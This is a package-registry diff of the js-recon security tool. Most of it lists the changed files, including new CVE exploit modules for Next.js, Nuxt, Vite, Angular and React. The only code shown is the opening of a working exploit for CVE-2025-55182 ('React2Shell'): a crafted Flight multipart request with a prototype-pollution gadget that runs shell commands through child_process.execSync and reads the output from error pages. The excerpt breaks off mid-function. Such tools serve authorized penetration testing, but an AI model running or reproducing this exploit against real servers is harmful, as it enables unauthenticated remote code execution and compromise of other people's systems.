@js-recon/js-recon 1.4.4 → 2.0.1-alpha.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (424) hide show
  1. package/.claude-sync/sync.sh +1 -1
  2. package/.github/workflows/build-and-prettify.yaml +49 -19
  3. package/.github/workflows/codeql.yml +33 -0
  4. package/.github/workflows/exploit-smoke-test.yaml +160 -0
  5. package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
  6. package/.github/workflows/plumber.yml +20 -0
  7. package/.github/workflows/promote-js-recon.yml +5 -3
  8. package/.github/workflows/publish-js-recon.yml +6 -1
  9. package/.github/workflows/rules-smoke-test.yaml +13 -5
  10. package/.nvmrc +1 -0
  11. package/.plumber.yaml +151 -0
  12. package/CHANGELOG.md +35 -0
  13. package/CONTRIBUTING.md +32 -0
  14. package/Dockerfile +1 -0
  15. package/README.md +3 -2
  16. package/SECURITY.md +1 -1
  17. package/build/analyze/engine/astEngine.js +10 -9
  18. package/build/analyze/engine/astEngine.js.map +1 -1
  19. package/build/analyze/engine/csMastSEngine.js +6 -6
  20. package/build/analyze/engine/csMastSEngine.js.map +1 -1
  21. package/build/analyze/engine/index.js +1 -1
  22. package/build/analyze/engine/index.js.map +1 -1
  23. package/build/analyze/engine/requestEngine.js +6 -6
  24. package/build/analyze/engine/requestEngine.js.map +1 -1
  25. package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
  26. package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
  27. package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
  28. package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
  29. package/build/analyze/helpers/initRules.js +9 -9
  30. package/build/analyze/helpers/initRules.js.map +1 -1
  31. package/build/analyze/helpers/outputHelper.js +3 -3
  32. package/build/analyze/helpers/outputHelper.js.map +1 -1
  33. package/build/analyze/helpers/schemas.js +1 -0
  34. package/build/analyze/helpers/schemas.js.map +1 -1
  35. package/build/analyze/helpers/validate.js +9 -5
  36. package/build/analyze/helpers/validate.js.map +1 -1
  37. package/build/analyze/index.js +26 -16
  38. package/build/analyze/index.js.map +1 -1
  39. package/build/cliProgram.js +710 -0
  40. package/build/cliProgram.js.map +1 -0
  41. package/build/completion/index.js +247 -382
  42. package/build/completion/index.js.map +1 -1
  43. package/build/completion/introspect.js +17 -0
  44. package/build/completion/introspect.js.map +1 -0
  45. package/build/config/applicationConfig.js +3 -2
  46. package/build/config/applicationConfig.js.map +1 -1
  47. package/build/cs_mast/index.js +18 -17
  48. package/build/cs_mast/index.js.map +1 -1
  49. package/build/endpoints/gen_report/gen_json.js +2 -2
  50. package/build/endpoints/gen_report/gen_json.js.map +1 -1
  51. package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
  52. package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
  53. package/build/endpoints/index.js +12 -12
  54. package/build/endpoints/index.js.map +1 -1
  55. package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
  56. package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
  57. package/build/endpoints/next_js/client_jsonParse.js +4 -4
  58. package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
  59. package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
  60. package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
  61. package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
  62. package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
  63. package/build/exploit/angular/cve-2026-68945.js +61 -0
  64. package/build/exploit/angular/cve-2026-68945.js.map +1 -0
  65. package/build/exploit/index.js +60 -0
  66. package/build/exploit/index.js.map +1 -0
  67. package/build/exploit/next/cve-2025-29927.js +65 -0
  68. package/build/exploit/next/cve-2025-29927.js.map +1 -0
  69. package/build/exploit/next/cve-2026-64645.js +51 -0
  70. package/build/exploit/next/cve-2026-64645.js.map +1 -0
  71. package/build/exploit/nuxt/cve-2026-71315.js +47 -0
  72. package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
  73. package/build/exploit/nuxt/cve-2026-71320.js +114 -0
  74. package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
  75. package/build/exploit/react/cve-2025-55182.js +116 -0
  76. package/build/exploit/react/cve-2025-55182.js.map +1 -0
  77. package/build/exploit/registry/cveRegistry.js +115 -0
  78. package/build/exploit/registry/cveRegistry.js.map +1 -0
  79. package/build/exploit/types.js +2 -0
  80. package/build/exploit/types.js.map +1 -0
  81. package/build/exploit/utility/compareResponses.js +29 -0
  82. package/build/exploit/utility/compareResponses.js.map +1 -0
  83. package/build/exploit/utility/outputHelper.js +22 -0
  84. package/build/exploit/utility/outputHelper.js.map +1 -0
  85. package/build/exploit/utility/rawRequest.js +54 -0
  86. package/build/exploit/utility/rawRequest.js.map +1 -0
  87. package/build/exploit/utility/sandboxRce.js +49 -0
  88. package/build/exploit/utility/sandboxRce.js.map +1 -0
  89. package/build/exploit/utility/toEngineOutput.js +28 -0
  90. package/build/exploit/utility/toEngineOutput.js.map +1 -0
  91. package/build/exploit/utility/wsClient.js +78 -0
  92. package/build/exploit/utility/wsClient.js.map +1 -0
  93. package/build/exploit/vite/cve-2025-30208.js +44 -0
  94. package/build/exploit/vite/cve-2025-30208.js.map +1 -0
  95. package/build/exploit/vite/cve-2026-39363.js +60 -0
  96. package/build/exploit/vite/cve-2026-39363.js.map +1 -0
  97. package/build/fingerprint/index.js +3 -2
  98. package/build/fingerprint/index.js.map +1 -1
  99. package/build/globalConfig.js +2 -2
  100. package/build/globalConfig.js.map +1 -1
  101. package/build/index.js +5 -596
  102. package/build/index.js.map +1 -1
  103. package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
  104. package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
  105. package/build/lazyLoad/downloadFilesUtil.js +14 -11
  106. package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
  107. package/build/lazyLoad/downloadQueue.js +5 -1
  108. package/build/lazyLoad/downloadQueue.js.map +1 -1
  109. package/build/lazyLoad/downloadResponse.js +1 -0
  110. package/build/lazyLoad/downloadResponse.js.map +1 -1
  111. package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
  112. package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
  113. package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
  114. package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
  115. package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
  116. package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
  117. package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
  118. package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
  119. package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
  120. package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
  121. package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
  122. package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
  123. package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
  124. package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
  125. package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
  126. package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
  127. package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
  128. package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
  129. package/build/lazyLoad/globals.js +31 -0
  130. package/build/lazyLoad/globals.js.map +1 -1
  131. package/build/lazyLoad/index.js +129 -66
  132. package/build/lazyLoad/index.js.map +1 -1
  133. package/build/lazyLoad/methodFilter.js +2 -0
  134. package/build/lazyLoad/methodFilter.js.map +1 -1
  135. package/build/lazyLoad/next_js/NextJsCrawler.js +38 -14
  136. package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
  137. package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
  138. package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
  139. package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
  140. package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
  141. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +13 -11
  142. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
  143. package/build/lazyLoad/next_js/next_SubsequentRequests.js +7 -6
  144. package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
  145. package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
  146. package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
  147. package/build/lazyLoad/next_js/next_buildId.js +2 -2
  148. package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
  149. package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
  150. package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
  151. package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
  152. package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
  153. package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
  154. package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
  155. package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
  156. package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
  157. package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
  158. package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
  159. package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
  160. package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
  161. package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
  162. package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
  163. package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
  164. package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
  165. package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
  166. package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
  167. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
  168. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
  169. package/build/lazyLoad/react/react_webpackChunkPaths.js +10 -202
  170. package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
  171. package/build/lazyLoad/researchUtils.js +15 -0
  172. package/build/lazyLoad/researchUtils.js.map +1 -0
  173. package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
  174. package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
  175. package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
  176. package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
  177. package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
  178. package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
  179. package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
  180. package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
  181. package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
  182. package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
  183. package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
  184. package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
  185. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
  186. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
  187. package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
  188. package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
  189. package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
  190. package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
  191. package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
  192. package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
  193. package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
  194. package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
  195. package/build/lazyLoad/techDetect/index.js +13 -1
  196. package/build/lazyLoad/techDetect/index.js.map +1 -1
  197. package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +2 -2
  198. package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
  199. package/build/lazyLoad/vue/vue_discoverJsFiles.js +12 -10
  200. package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
  201. package/build/lazyLoad/vue/vue_getClientSidePaths.js +1 -1
  202. package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
  203. package/build/lazyLoad/vue/vue_pageSrc.js +1 -1
  204. package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
  205. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +2 -2
  206. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
  207. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +2 -2
  208. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
  209. package/build/lazyLoad/vue/vue_severalJsFilesHome.js +3 -3
  210. package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
  211. package/build/load/index.js +8 -7
  212. package/build/load/index.js.map +1 -1
  213. package/build/map/angular_js/getAngularConnections.js +6 -6
  214. package/build/map/angular_js/getAngularConnections.js.map +1 -1
  215. package/build/map/graphql/resolveGraphql.js +6 -6
  216. package/build/map/graphql/resolveGraphql.js.map +1 -1
  217. package/build/map/index.js +17 -17
  218. package/build/map/index.js.map +1 -1
  219. package/build/map/interactive-mode/commandHandler.js +278 -0
  220. package/build/map/interactive-mode/commandHandler.js.map +1 -0
  221. package/build/map/interactive-mode/commandHelpers.js +189 -0
  222. package/build/map/interactive-mode/commandHelpers.js.map +1 -0
  223. package/build/map/interactive-mode/esqueryGen.js.map +1 -0
  224. package/build/map/interactive-mode/helpMenu.js +11 -0
  225. package/build/map/interactive-mode/helpMenu.js.map +1 -0
  226. package/build/map/interactive-mode/inputPatch.js.map +1 -0
  227. package/build/map/interactive-mode/interactive.js +71 -0
  228. package/build/map/interactive-mode/interactive.js.map +1 -0
  229. package/build/map/interactive-mode/keybindings.js.map +1 -0
  230. package/build/map/interactive-mode/printer.js.map +1 -0
  231. package/build/map/interactive-mode/ui.js.map +1 -0
  232. package/build/map/next_js/getAxiosInstances.js +5 -5
  233. package/build/map/next_js/getAxiosInstances.js.map +1 -1
  234. package/build/map/next_js/getExports.js +4 -4
  235. package/build/map/next_js/getExports.js.map +1 -1
  236. package/build/map/next_js/getFetchInstances.js +10 -10
  237. package/build/map/next_js/getFetchInstances.js.map +1 -1
  238. package/build/map/next_js/getTurbopackConnections.js +8 -8
  239. package/build/map/next_js/getTurbopackConnections.js.map +1 -1
  240. package/build/map/next_js/getWebpackConnections.js +27 -16
  241. package/build/map/next_js/getWebpackConnections.js.map +1 -1
  242. package/build/map/next_js/interactive.js +3 -65
  243. package/build/map/next_js/interactive.js.map +1 -1
  244. package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
  245. package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
  246. package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
  247. package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
  248. package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
  249. package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
  250. package/build/map/next_js/resolveAxios.js +6 -6
  251. package/build/map/next_js/resolveAxios.js.map +1 -1
  252. package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
  253. package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
  254. package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
  255. package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
  256. package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
  257. package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
  258. package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
  259. package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
  260. package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
  261. package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
  262. package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
  263. package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
  264. package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
  265. package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
  266. package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
  267. package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
  268. package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
  269. package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
  270. package/build/map/next_js/resolveFetch.js +23 -23
  271. package/build/map/next_js/resolveFetch.js.map +1 -1
  272. package/build/map/next_js/resolveNewRequest.js +10 -10
  273. package/build/map/next_js/resolveNewRequest.js.map +1 -1
  274. package/build/map/next_js/resolveServerActions.js +4 -4
  275. package/build/map/next_js/resolveServerActions.js.map +1 -1
  276. package/build/map/next_js/utils.js +8 -2
  277. package/build/map/next_js/utils.js.map +1 -1
  278. package/build/map/react_js/getReactConnections.js +21 -14
  279. package/build/map/react_js/getReactConnections.js.map +1 -1
  280. package/build/map/svelte_js/interactive.js +3 -54
  281. package/build/map/svelte_js/interactive.js.map +1 -1
  282. package/build/map/vue_js/getViteConnections.js +23 -16
  283. package/build/map/vue_js/getViteConnections.js.map +1 -1
  284. package/build/map/vue_js/interactive.js +3 -63
  285. package/build/map/vue_js/interactive.js.map +1 -1
  286. package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
  287. package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
  288. package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
  289. package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
  290. package/build/map/vue_js/taint_utils.js +1 -1
  291. package/build/map/vue_js/taint_utils.js.map +1 -1
  292. package/build/map/vue_js/vue_resolveFetch.js +12 -12
  293. package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
  294. package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
  295. package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
  296. package/build/map/vue_js/vue_resolveXhr.js +11 -11
  297. package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
  298. package/build/mcp/chatOneShot.js +7 -7
  299. package/build/mcp/chatOneShot.js.map +1 -1
  300. package/build/mcp/claudeCodeCreds.js +5 -5
  301. package/build/mcp/claudeCodeCreds.js.map +1 -1
  302. package/build/mcp/cli.js +36 -35
  303. package/build/mcp/cli.js.map +1 -1
  304. package/build/mcp/config.js +4 -4
  305. package/build/mcp/config.js.map +1 -1
  306. package/build/mcp/index.js +7 -7
  307. package/build/mcp/index.js.map +1 -1
  308. package/build/mcp/mcpServer.js +3 -2
  309. package/build/mcp/mcpServer.js.map +1 -1
  310. package/build/mcp/skills.js +1 -0
  311. package/build/mcp/skills.js.map +1 -1
  312. package/build/mcp/tools.js +5 -4
  313. package/build/mcp/tools.js.map +1 -1
  314. package/build/proxy/detectBlockedResponse.js +2 -0
  315. package/build/proxy/detectBlockedResponse.js.map +1 -1
  316. package/build/proxy/index.js +3 -3
  317. package/build/proxy/index.js.map +1 -1
  318. package/build/refactor/index.js +83 -79
  319. package/build/refactor/index.js.map +1 -1
  320. package/build/refactor/next/index.js +69 -26
  321. package/build/refactor/next/index.js.map +1 -1
  322. package/build/refactor/next/transform.js +11 -4
  323. package/build/refactor/next/transform.js.map +1 -1
  324. package/build/refactor/next/validator.js +7 -7
  325. package/build/refactor/next/validator.js.map +1 -1
  326. package/build/refactor/react/index.js +13 -13
  327. package/build/refactor/react/index.js.map +1 -1
  328. package/build/refactor/react/validator.js +7 -7
  329. package/build/refactor/react/validator.js.map +1 -1
  330. package/build/refactor/react-vite/index.js +3 -3
  331. package/build/refactor/react-vite/index.js.map +1 -1
  332. package/build/refactor/remote/hf-client.js +1 -0
  333. package/build/refactor/remote/hf-client.js.map +1 -1
  334. package/build/refactor/remote/version-detect.js +12 -12
  335. package/build/refactor/remote/version-detect.js.map +1 -1
  336. package/build/refactor/vue/index.js +6 -6
  337. package/build/refactor/vue/index.js.map +1 -1
  338. package/build/refactor/vue/vite.js +6 -6
  339. package/build/refactor/vue/vite.js.map +1 -1
  340. package/build/report/index.js +30 -8
  341. package/build/report/index.js.map +1 -1
  342. package/build/report/swaggerJacker.js +63 -0
  343. package/build/report/swaggerJacker.js.map +1 -0
  344. package/build/report/utility/genHtml.js +7 -7
  345. package/build/report/utility/genHtml.js.map +1 -1
  346. package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
  347. package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
  348. package/build/report/utility/populateDb/populateEndpoints.js +3 -3
  349. package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
  350. package/build/report/utility/populateDb/populateMappedJson.js +2 -2
  351. package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
  352. package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
  353. package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
  354. package/build/run/bundler-detect.js +45 -9
  355. package/build/run/bundler-detect.js.map +1 -1
  356. package/build/run/dashboard/dashboardHtml.js +150 -0
  357. package/build/run/dashboard/dashboardHtml.js.map +1 -0
  358. package/build/run/dashboard/fsBrowser.js +43 -0
  359. package/build/run/dashboard/fsBrowser.js.map +1 -0
  360. package/build/run/dashboard/server.js +123 -0
  361. package/build/run/dashboard/server.js.map +1 -0
  362. package/build/run/dashboard/state.js +97 -0
  363. package/build/run/dashboard/state.js.map +1 -0
  364. package/build/run/index.js +177 -110
  365. package/build/run/index.js.map +1 -1
  366. package/build/run/interruptHandler.js +18 -0
  367. package/build/run/interruptHandler.js.map +1 -1
  368. package/build/sourcemaps/index.js +7 -6
  369. package/build/sourcemaps/index.js.map +1 -1
  370. package/build/strings/index.js +27 -24
  371. package/build/strings/index.js.map +1 -1
  372. package/build/strings/openapi.js +4 -4
  373. package/build/strings/openapi.js.map +1 -1
  374. package/build/strings/permutate.js +4 -4
  375. package/build/strings/permutate.js.map +1 -1
  376. package/build/strings/secrets.js +1 -0
  377. package/build/strings/secrets.js.map +1 -1
  378. package/build/strings/trufflehog.js +66 -19
  379. package/build/strings/trufflehog.js.map +1 -1
  380. package/build/strings/trufflehogConfig.js +36 -0
  381. package/build/strings/trufflehogConfig.js.map +1 -0
  382. package/build/strings/trufflehogDownload.js +115 -0
  383. package/build/strings/trufflehogDownload.js.map +1 -0
  384. package/build/utility/ai.js +33 -4
  385. package/build/utility/ai.js.map +1 -1
  386. package/build/utility/banner.js +4 -3
  387. package/build/utility/banner.js.map +1 -1
  388. package/build/utility/configureSandbox.js +2 -2
  389. package/build/utility/configureSandbox.js.map +1 -1
  390. package/build/utility/globals.js +19 -11
  391. package/build/utility/globals.js.map +1 -1
  392. package/build/utility/heap.js +2 -1
  393. package/build/utility/heap.js.map +1 -1
  394. package/build/utility/makeReq.js +1 -1
  395. package/build/utility/makeReq.js.map +1 -1
  396. package/build/utility/openapiGenerator.js +2 -2
  397. package/build/utility/openapiGenerator.js.map +1 -1
  398. package/build/utility/printMsg.js +53 -0
  399. package/build/utility/printMsg.js.map +1 -0
  400. package/build/utility/progressLog.js +4 -3
  401. package/build/utility/progressLog.js.map +1 -1
  402. package/build/utility/resolvePath.js +2 -1
  403. package/build/utility/resolvePath.js.map +1 -1
  404. package/build/utility/ruleVersionMap.js +73 -0
  405. package/build/utility/ruleVersionMap.js.map +1 -0
  406. package/contributing/testing.md +106 -0
  407. package/eslint.config.js +24 -0
  408. package/package.json +22 -5
  409. package/scripts/exploit-smoke-test.js +82 -0
  410. package/scripts/framework-detect-smoke-test.js +64 -0
  411. package/scripts/postinstall-completion.mjs +40 -0
  412. package/scripts/smoke-test.js +12 -0
  413. package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
  414. package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
  415. package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
  416. package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
  417. package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
  418. package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
  419. package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
  420. /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
  421. /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
  422. /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
  423. /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
  424. /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
@@ -0,0 +1,116 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import rawRequest from "../utility/rawRequest.js";
11
+ import runSandboxRceProof, { escapeDoubleQuotedLiteral } from "../utility/sandboxRce.js";
12
+ const BOUNDARY = "----jsReconExploitBoundary";
13
+ export const buildMultipartBody = (fields) => {
14
+ const parts = Object.entries(fields).map(([name, value]) => `--${BOUNDARY}\r\nContent-Disposition: form-data; name="${name}"\r\n\r\n${value}\r\n`);
15
+ return `${parts.join("")}--${BOUNDARY}--\r\n`;
16
+ };
17
+ export const buildRscHeaders = () => ({
18
+ "next-action": "",
19
+ "rsc-action": "null",
20
+ "content-type": `multipart/form-data; boundary=${BOUNDARY}`,
21
+ });
22
+ /**
23
+ * Field "0": crafted Flight chunk. The deserializer walks attacker-supplied property paths
24
+ * without an own-property guard: "$1:constructor:constructor" reaches Function.prototype.constructor
25
+ * (assigned onto response._formData.get), "$1:__proto__:then" reaches real Promise.prototype.then
26
+ * so the chunk satisfies React's thenable check — React calls .then() on it, invoking
27
+ * response._formData.get(response._prefix + N) = Function(prefix + N), i.e. the attacker string
28
+ * becomes the body of a dynamically constructed and invoked function.
29
+ */
30
+ export const buildGadgetChunk = (jsBody) => JSON.stringify({
31
+ then: "$1:__proto__:then",
32
+ status: "resolved_model",
33
+ reason: -1,
34
+ value: '{"then": "$B0"}',
35
+ _response: {
36
+ _prefix: jsBody,
37
+ _formData: { get: "$1:constructor:constructor" },
38
+ },
39
+ });
40
+ // The attacker string becomes a dynamically-constructed function's BODY, so it must be a
41
+ // syntactically complete statement sequence — no dangling expression. Throwing an Error (rather
42
+ // than assigning a value, as the Nuxt sandbox escape does) surfaces the result directly in
43
+ // Express's default error-handler HTML page, extracted below via extractErrorMessage().
44
+ const stage1Js = (cmd) => `(function(){ import("node:child_process").then(function(m){ globalThis.__pocOut = m.execSync("${escapeDoubleQuotedLiteral(cmd)}").toString(); }); throw new Error("kicked"); })();`;
45
+ // The thrown Error's message is only the first line of a much longer stack trace in Express's
46
+ // default error page — a plain "did we get non-empty text back" check would treat the stack
47
+ // trace itself as ready output on every attempt, even before __pocOut is set. Prefixing with a
48
+ // distinct marker lets extractErrorMessage tell "real output" apart from "not ready yet" and from
49
+ // the surrounding stack trace noise.
50
+ const RESULT_MARKER = "JSRECON_RESULT:";
51
+ const stage2Js = `throw new Error(${JSON.stringify(RESULT_MARKER)} + (globalThis.__pocOut || ""));`;
52
+ /**
53
+ * Express's default (non-production) error page wraps the thrown Error's message + stack in a
54
+ * <pre>. Returns the text between the marker and the next newline (the stack trace starts on the
55
+ * following line), or null if the marker/output isn't present yet.
56
+ */
57
+ export const extractErrorMessage = (html) => {
58
+ const match = /<pre>([\s\S]*?)<\/pre>/.exec(html);
59
+ if (!match)
60
+ return null;
61
+ const text = match[1].replace(/<br>/g, "\n").replace(/&quot;/g, '"');
62
+ const markerIndex = text.indexOf(RESULT_MARKER);
63
+ if (markerIndex === -1)
64
+ return null;
65
+ const afterMarker = text.slice(markerIndex + RESULT_MARKER.length);
66
+ const output = afterMarker.split("\n")[0].trim();
67
+ return output.length > 0 ? output : null;
68
+ };
69
+ /**
70
+ * CVE-2025-55182 "React2Shell": prototype-pollution gadget chain in React's Flight reply
71
+ * deserializer reaching an unauthenticated RCE. Requires the target to run Express 5 (Express 4
72
+ * crashes the process on the uncaught rejection instead of returning a clean error response) with
73
+ * `node --conditions react-server` — this handler still just attempts the exploit and interprets
74
+ * the result, since no live version/runtime-flag detection exists to gate on beforehand.
75
+ */
76
+ const cve202555182 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
77
+ const sendGadget = (jsBody) => __awaiter(void 0, void 0, void 0, function* () {
78
